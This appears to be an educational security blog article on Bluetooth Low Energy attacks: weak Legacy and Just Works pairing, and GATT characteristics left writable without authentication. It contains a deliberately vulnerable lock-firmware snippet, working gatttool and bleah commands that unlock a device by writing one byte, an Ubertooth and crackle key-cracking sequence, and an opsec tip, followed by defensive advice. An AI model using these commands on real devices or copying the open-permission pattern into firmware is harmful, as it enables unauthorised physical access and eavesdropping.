Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Bluetooth Low Energy powers most of the connected wearables, smart locks, medical devices, and beacons in consumer and industrial IoT. Its data model is built around GATT (Generic Attribute Profile): a server (the peripheral, e.g. a lock or fitness band) exposes services, each containing characteristics — individually readable, writable, and/or notifiable data points — and a client (a phone app) discovers and interacts with them. Security in this model is enforced at two independent layers: link-layer pairing/bonding, which establishes an encrypted and optionally authenticated connection, and per-characteristic permissions, which the peripheral’s firmware sets to require (or not require) that encryption and authentication.
Both layers are commonly implemented weakly. Pairing defaults to Just Works — no PIN, no out-of-band exchange, no user verification — for the huge majority of BLE peripherals because they lack a screen or keypad to support anything stronger, which by design provides no protection against an active man-in-the-middle. And even where pairing is done well, firmware developers frequently leave individual GATT characteristics — including the ones that matter, like a lock/unlock command — without any encryption or authentication requirement at all, making them writable by any nearby BLE client with no pairing whatsoever.
Attack Prerequisites
BLE assessment work — sniffing pairing exchanges or interacting with GATT directly — needs radio hardware and RF proximity to the target:
- Physical proximity to the target device, since BLE range is typically short (tens of meters at most).
- A BLE-capable adapter — a standard Linux Bluetooth adapter for direct GATT interaction (
bluetoothctl,gatttool,bleah), or a dedicated sniffer (Ubertooth One, or an nRF52840 dongle flashed with Nordic’s sniffer firmware) to passively capture over-the-air traffic including the pairing exchange. - For cracking legacy pairing keys from a capture: the crackle tool and a PCAP of the pairing exchange.
- A target that either uses LE Legacy Pairing (pre-4.2, or 4.2+ devices still supporting it) with a low-entropy temporary key, or exposes a sensitive characteristic without encryption/authentication requirements.
How It Works
BLE pairing negotiates a Temporary Key (TK) or, in LE Secure Connections (BLE 4.2+), performs an ECDH key exchange, then derives longer-term keys (LTK, IRK, CSRK) used to encrypt the link and, if bonded, persist trust across reconnects. The association model — Just Works, Passkey Entry, Numeric Comparison, or Out-of-Band — determines whether that key exchange is authenticated against a human or side channel. Just Works sets the TK to a fixed value (zero) in Legacy Pairing and provides no MITM protection in either Legacy or Secure Connections mode — it exists purely to get *some* encryption on devices with no input/output capability, not to authenticate the peer.
LE Legacy Pairing (BLE 4.0/4.1) derives its Short Term Key from the TK using a weak key-mixing function; when the TK is low-entropy — which for Just Works means TK=0, and for a 6-digit Passkey means at most one million possibilities — an attacker who passively captured the pairing exchange can brute-force the TK offline and derive the STK/LTK, decrypting the entire session after the fact with no active interaction at all. LE Secure Connections replaced this with ECDH P-256, which is resistant to passive key recovery regardless of association model — but Just Works over Secure Connections is *still* vulnerable to an active man-in-the-middle, because nothing authenticates which device is on the other end of the ECDH exchange; only Passkey Entry, Numeric Comparison, or OOB close that gap.
Independent of pairing strength, each GATT characteristic carries its own attribute permissions set by firmware: read/write allowed or not, and whether that read/write requires the link to be encrypted and/or authenticated (bonded with an MITM-protected association model). A peripheral can use strong pairing for its main application flow yet leave a specific characteristic — often one added later, or used for manufacturing/debug — with open, unauthenticated write permission. Any BLE client can then write to it directly after simple GATT discovery, without ever pairing at all.
Vulnerable Code / Configuration
Firmware defining a control characteristic (a lock command, in this illustrative Nordic-SDK-style declaration) with write access but no security requirement on the attribute permission — SEC_OPEN instead of requiring encryption and authentication:
static ble_gatts_char_md_t char_md = {
.char_props.write = 1,
};
static ble_gatts_attr_md_t attr_md = {
// VULNERABLE: SEC_OPEN means no bonding, no encryption, no
// authentication is required to write this attribute at all.
.write_perm = { .sm = SEC_OPEN, .lv = SEC_OPEN },
.vloc = BLE_GATTS_VLOC_STACK,
};
sd_ble_gatts_characteristic_add(service_handle, &char_md, &attr_char_value, &char_handle);
// Handler executed on write, with zero verification of the writer's identity:
void on_write(ble_evt_t const *evt) {
if (evt->evt.gatts_evt.params.write.data[0] == CMD_UNLOCK) {
actuate_lock_open();
}
}
CWalkthrough / Exploitation
Discover nearby BLE devices and enumerate the target’s services and characteristics with bleah (a Python wrapper that also flags interesting properties like write-without-response):
sudo bleah -b AA:BB:CC:DD:EE:FF -e
# lists services/characteristics, UUIDs, and read/write/notify properties
BashOr the same enumeration with the classic BlueZ tool gatttool:
gatttool -b AA:BB:CC:DD:EE:FF --characteristics
# handle = 0x0012, char properties = 0x0a, char value handle = 0x0013, uuid = ...
BashIf the control characteristic’s permissions are open (as above), write to it directly — no pairing step is required at all:
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req -a 0x0013 -n 01
# 0x01 == CMD_UNLOCK in this device's protocol
BashFor a device using Legacy Pairing with a weak association model, capture the pairing exchange over the air with an Ubertooth (or nRF52840 sniffer) and feed it to crackle to recover the TK/LTK offline:
ubertooth-btle -f -c pairing_capture.pcap
crackle -i pairing_capture.pcap -o decrypted.pcap
# crackle brute-forces the low-entropy TK and derives the LTK,
# then re-encrypts the capture into a decrypted, readable PCAP.
wireshark decrypted.pcap
BashNote: Just Works over LE Secure Connections is not vulnerable to crackle-style passive TK recovery — ECDH does not have a brute-forceable shared secret the way a fixed/low-entropy Legacy TK does. The real weakness there is *active* MITM (an attacker relaying/impersonating during pairing itself), which requires different tooling than a passive sniff-and-crack.
Opsec: BLE MAC addresses on many modern peripherals rotate (Resolvable Private Addresses) specifically to frustrate tracking; when reconnecting across sessions in a test, be prepared to re-scan rather than assume a stable address, and note that sniffing itself is passive and does not connect to the target, minimizing footprint on the device’s own logs.
Detection and Defense
BLE hardening is primarily a firmware and pairing-policy decision made at design time:
- Require LE Secure Connections and disable fallback to Legacy Pairing where the peripheral supports it.
- Use an authenticated association model (Passkey Entry, Numeric Comparison, or OOB) instead of Just Works for any device where MITM matters — even a simple fixed display showing a passkey materially improves this.
- Set encryption and authentication requirements on every sensitive characteristic, not just the pairing process as a whole — audit each attribute’s permission bits individually, especially ones added after initial release.
- Add application-layer authentication (a signed/challenge-response command protocol) on top of BLE link security for high-value actions like unlocking, so a link-layer gap alone is not sufficient to actuate anything.
- Monitor for unexpected connections/writes where feasible — unusual RSSI, connection intervals, or write patterns to sensitive characteristics from unbonded peers.
Real-World Impact
Unauthenticated, unencrypted GATT characteristics controlling physical actuation — locks, garage openers, vehicle functions — are a recurring finding in independent smart-device security research, and weak Legacy Pairing key derivation is well enough understood that crackle has been a standard part of the BLE assessment toolkit for years; both issues persist because BLE peripherals are resource-constrained and vendors often prioritize interoperability and low pairing friction over authenticated pairing flows.
Conclusion
BLE security is decided twice — once at the link layer during pairing, and again per characteristic in firmware — and a weakness in either is enough to compromise the device. Passive sniffing plus crackle defeats weak Legacy Pairing, while a simple GATT enumeration with gatttool or bleah is often enough on its own when a sensitive characteristic was never protected in the first place; defenders need Secure Connections, an authenticated association model, and per-characteristic permission review, not just “pairing is enabled.”
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments